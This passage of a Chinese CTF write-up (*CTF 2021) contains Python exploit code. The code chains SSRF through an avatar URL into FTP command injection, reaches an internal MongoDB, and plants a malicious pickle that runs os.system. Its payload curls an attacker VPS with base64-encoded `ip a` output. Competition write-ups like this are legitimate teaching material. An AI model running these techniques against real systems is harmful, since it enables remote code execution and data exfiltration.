ssrf(\u003cspan class=\"string\"\u003ef\u0026#39;\u0026#39;\u0026#39;ftp://fan:root\u003cspan class=\"subst\"\u003e{cmd}\u003c/span\u003e@\u003cspan class=\"subst\"\u003e{ftpd}\u003c/span\u003e/\u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#39;0.0.0.0\u0026#39;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;accepted\u0026#39;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;sent\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#39;TYPE I\u0026#39;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#39;STOR frankli\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;replaying\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#39;TYPE I\u0026#39;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#39;RETR frankli\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接下来的任务就是向mongodb发起一个update请求,修改数据库里的session序列化数据。如何构造这个数据包呢,我赛后问了出题人和别的队伍的同学,基本有下面几种:\u003c/p\u003e\u003col\u003e\u003cli\u003e分析mongodb数据包,并手动构造(肝败吓疯)\u003c/li\u003e\u003cli\u003e查\u003ca href=\"https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/\"\u003e文档\u003c/a\u003e,手动构造\u003c/li\u003e\u003cli\u003e抓包重放(出题人)\u003c/li\u003e\u003cli\u003e我的办法\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e我的办法比较脏,但是也比较好玩。众所周知python啥都能干,比如pymongo。然而pymongo是主动去连服务器的,怎么获取到数据包本身呢?\u003cbr/\u003e改代码呗,去\u003ccode\u003esite-packages/pymongo/network.py:142\u003c/code\u003e,在sendall之前丢 个 异 常\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/exception.png\" class=\"\" title=\"我看是你脑子有异常\"/\u003e\u003cp\u003e然后就可以愉快地拿到mongo请求了。\u003cbr/\u003e只是有一点要注意,下面这个脚本跑的时候在localhost也得启动一个mongo实例/docker,不然pymongo发别的ping包之类的会阻塞。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pymongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e MongoClient\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pickle\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_pickle\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eexp\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__reduce__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (os.system, (cmd,))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pickle.dumps(exp())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_mongo\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e client = MongoClient(\u003cspan class=\"string\"\u003e\u0026#39;localhost\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e27017\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e coll = client.admin.sessions\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e coll.update_one(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#39;session:37386ce1-3fe8-4f1d-91fc-224581c5279f\u0026#39;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#34;$set\u0026#34;\u003c/span\u003e: { \u003cspan class=\"string\"\u003e\u0026#34;val\u0026#34;\u003c/span\u003e: get_pickle(cmd) }},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e upsert=\u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e e.message\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e __name__ == \u003cspan class=\"string\"\u003e\u0026#39;__main__\u0026#39;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(get_mongo(\u003cspan class=\"string\"\u003e\u0026#39;ls\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 剩下的exploit \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64decode\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e requests\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e socket\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e threading\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;PORT \u0026#39;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#39;,\u0026#39;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#39;http://52.163.52.206:8088\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = \u003cspan class=\"string\"\u003e\u0026#39;http://23.98.68.11:8088\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eftpd = \u003cspan class=\"string\"\u003e\u0026#39;172.20.0.2:8877\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eredis = \u003cspan class=\"string\"\u003e\u0026#39;172.20.0.4:6379\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emongo = \u003cspan class=\"string\"\u003e\u0026#39;172.20.0.5:27017\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#39;vps_ip:2334\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etarg = mongo\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e mongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e get_mongo\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erequest = get_mongo(\u003cspan class=\"string\"\u003e\u0026#39;curl vps_ip:1234/ -H \u0026#34;Host: `ip a|base64`\u0026#34;\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003essrf\u003c/span\u003e(\u003cspan class=\"params\"\u003eurl\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page = requests.post(a + \u003cspan class=\"string\"\u003e\u0026#39;/login\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: get_random_id(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;avatar\u0026#39;\u003c/span\u003e: url,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;submit\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;Go!\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page = page[page.find(\u003cspan class=\"string\"\u003e\u0026#39;data:image/png;base64,\u0026#39;\u003c/span\u003e) +\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;data:image/png;base64,\u0026#39;\u003c/span\u003e):]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page = page[:page.find(\u003cspan class=\"string\"\u003e\u0026#39;\u0026#34;\u0026#39;\u003c/span\u003e)]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page = b64decode(page).decode()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page = b64decode(page)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e page\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#39;\\r\\n\u0026#39;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ssrf(\u003cspan class=\"string\"\u003ef\u0026#39;\u0026#39;\u0026#39;ftp://fan:root\u003cspan class=\"subst\"\u003e{cmd}\u003c/span\u003e@\u003cspan class=\"subst\"\u003e{ftpd}\u003c/span\u003e/\u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#39;0.0.0.0\u0026#39;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;accepted\u0026#39;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;sent\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 